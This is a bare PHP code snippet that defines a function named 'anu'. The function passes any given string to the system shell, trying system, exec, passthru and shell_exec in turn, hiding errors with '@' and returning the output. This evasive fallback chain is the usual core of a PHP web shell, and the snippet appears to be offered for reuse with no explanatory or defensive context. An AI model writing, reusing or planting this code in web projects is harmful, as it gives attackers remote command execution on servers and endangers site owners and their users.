Function

function anu($cmd) {
	if(function_exists('system')) {
		@ob_start();
		@system($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	} elseif(function_exists('exec')) {
		@exec($cmd,$results);
		$buff = "";
		foreach($results as $result) {
			$buff .= $result;
		} return $buff;
	} elseif(function_exists('passthru')) {
		@ob_start();
		@passthru($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	} elseif(function_exists('shell_exec')) {
		$buff = @shell_exec($cmd);
		return $buff;
	}
}